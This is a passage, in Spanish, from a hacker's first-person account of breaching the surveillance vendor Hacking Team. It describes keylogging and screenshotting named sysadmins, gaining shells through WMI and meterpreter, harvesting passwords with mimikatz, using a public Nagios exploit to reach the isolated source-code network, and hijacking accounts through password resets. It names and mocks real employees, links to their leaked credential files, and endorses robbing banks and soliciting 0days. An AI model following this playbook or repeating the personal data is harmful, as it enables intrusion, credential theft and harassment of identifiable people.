   Uno de mis pasatiempos favoritos es cazar a los sysadmins. Espiando a
   Christan Pozzi (sysadmin de Hacking Team) conseguí accesso al servidor
   Nagios que me dio acesso a la rete sviluppo (red de desarrollo con el
   código fuente de RCS). Con una combinación sencilla de Get-Keystrokes y
   Get-TimedScreenshot de PowerSploit [13], Do-Exfiltration de nishang [14], y
   GPO, se puede espiar a cualquier empleado o incluso al dominio entero.

[1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
[2] http://www.harmj0y.net/blog/tag/powerview/
[3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
[4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
[5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
[6] http://www.slideshare.net/harmj0y/i-have-the-powerview
[7] https://adsecurity.org/?p=2535
[8] https://www.youtube.com/watch?v=rpwrKhgMd7E
[9] https://github.com/mubix/netview
[10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
[11] https://adsecurity.org/?page_id=41
[12] http://www.darkoperator.com/?tag=Active+Directory
[13] https://github.com/PowerShellMafia/PowerSploit
[14] https://github.com/samratashok/nishang

--[14 - Cazando Sysadmins]---

Al leer la documentación de su infraestructura [1], me di cuenta que aún me
faltaba acceso a algo importante - la "Rete Sviluppo", una red aislada que
guarda todo el código fuente de RCS. Los sysadmins de una empresa siempre
tienen acceso a todo. Busqué en las computadoras de Mauro Romeo y Christian
Pozzi para ver como manejan la red sviluppo, y para ver si había otros
sistemas interesantes que debería investigar. Fue sencillo acceder a sus
computadoras ya que eran parte del dominio de windows en que tenía
administrador. La computadora de Mauro Romeo no tenía ningún puerto abierto,
así que abrí el puerto de WMI [2] para ejecutar meterpreter [3]. Además de
grabar teclas y capturas con Get-Keystrokes y Get-TimedScreenshot, usé muchos
módulos /gather/ de metasploit, CredMan.ps1 [4], y busqué archivos [5]. Al ver
que Pozzi tenía una volumen Truecrypt, esperé hasta que lo había montado para
copiar los archivos entonces. Muchos se han reído de las débiles contraseñas
de Christian Pozzi (y de Christian Pozzi en general, ofrece bastante material
para comedia [6][7][8][9]). Las incluí en la filtración como un despiste y
para reírse de él. La realidad es que mimikatz y keyloggers ven todas las
contraseñas iguales.

[1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
[2] http://www.hammer-software.com/wmigphowto.shtml
[3] https://www.trustedsec.com/june-2015/no_psexec_needed/
[4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
[5] http://pwnwiki.io/#!presence/windows/find_files.md
[6] http://archive.is/TbaPy
[7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/

[8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
[9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/

--[15 - El Puente]---

Dentro del volumen cifrado de Christian Pozzi, había un textfile con muchas contraseñas [1]. Una de ellas fue para un servidor de Fully Automated Nagios, que tenía acceso a la red sviluppo para poder monitorizarla. Había encontrado el puente. Sólo tenía la contraseña para la interfaz web, pero había una exploit pública [2] para ejecutar código y conseguir un shell (es un exploit no autenticado, pero hace falta que un usuario tenga sesión iniciada para la cual usé la contraseña del textfile).

[1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt
[2] http://seclists.org/fulldisclosure/2014/Oct/78

--[16 - Reutilizando y restableciendo contraseñas]-------------------------

Leyendo los correos, había visto a Daniele Milan concediendo acceso a repositorios git. Ya tuve su contraseña de windows gracias a mimikatz. La intenté con el servidor git y funcionó. Intenté sudo y funcionó. Para el servidor gitlab y su cuenta de twitter, utilicé la función "olvidé mi contraseña", y mi acceso al servidor de correos para restablecer la contraseña.

--[17 - Conclusión]--

Ya está. Así de fácil es derrumbar una empresa y parar sus abusos contra derechos humanos. Eso es la belleza y la asimetría del hacking: con sólo cien horas de trabajo, una sola persona se puede deshacer años de trabajo de una empresa multimillonaria. El hacking nos da la posibilidad a los desposeídos de luchar y vencer.

Las guías de hacking suelen terminar con una advertencia: esta información es solo para fines educativos, sé un hacker ético, no ataques a computadoras sin permiso, blablablá. Voy a decir lo mismo, pero con un concepto más rebelde de hacking "ético". Sería hacking ético filtrar documentos, expropiar dinero a los bancos, y proteger las computadoras de la gente común. Sin embargo, la mayoría de las personas que se autodenominan "hackers éticos" trabajan sólo para proteger a los que pagan su tarifa de consultoría, que a menudo son los mismos que más merecen ser hackeados.

En Hacking Team se ven a sí mismos como parte de una tradición de inspirador diseño italiano [1]. Yo les veo a Vincenzetti, su empresa, y sus amigotes de la policía, carabineros, y gobierno, como parte de una larga tradición de fascismo italiano. Quiero dedicar esta guía a las víctimas del asalto a la escuela Armando Diaz, y a todos aquellos que han derramado su sangre a manos de fascistas italianos.

[1] https://twitter.com/coracurrier/status/618104723263090688

--[18 - Contacto]--

Para mandarme intentos de spearphishing, amenazas de muerte escritas en italiano [1][2], y para regalarme 0days o acceso dentro de bancos, corporaciones, gobiernos etc.

[1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/
[2] https://twitter.com/CthulhuSec/status/619459002854977537

solamente correos cifrados porfa:
https://securityinabox.org/es/thunderbird_usarenigmail
-----BEGIN PGP PUBLIC KEY BLOCK-----

```
mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x
+fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h
VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8
X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai
oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9
WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo
jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi
JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq
Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
=E5+y
-----END PGP PUBLIC KEY BLOCK-----
```

Si no tú, ¿quién? Si no ahora, ¿cuándo?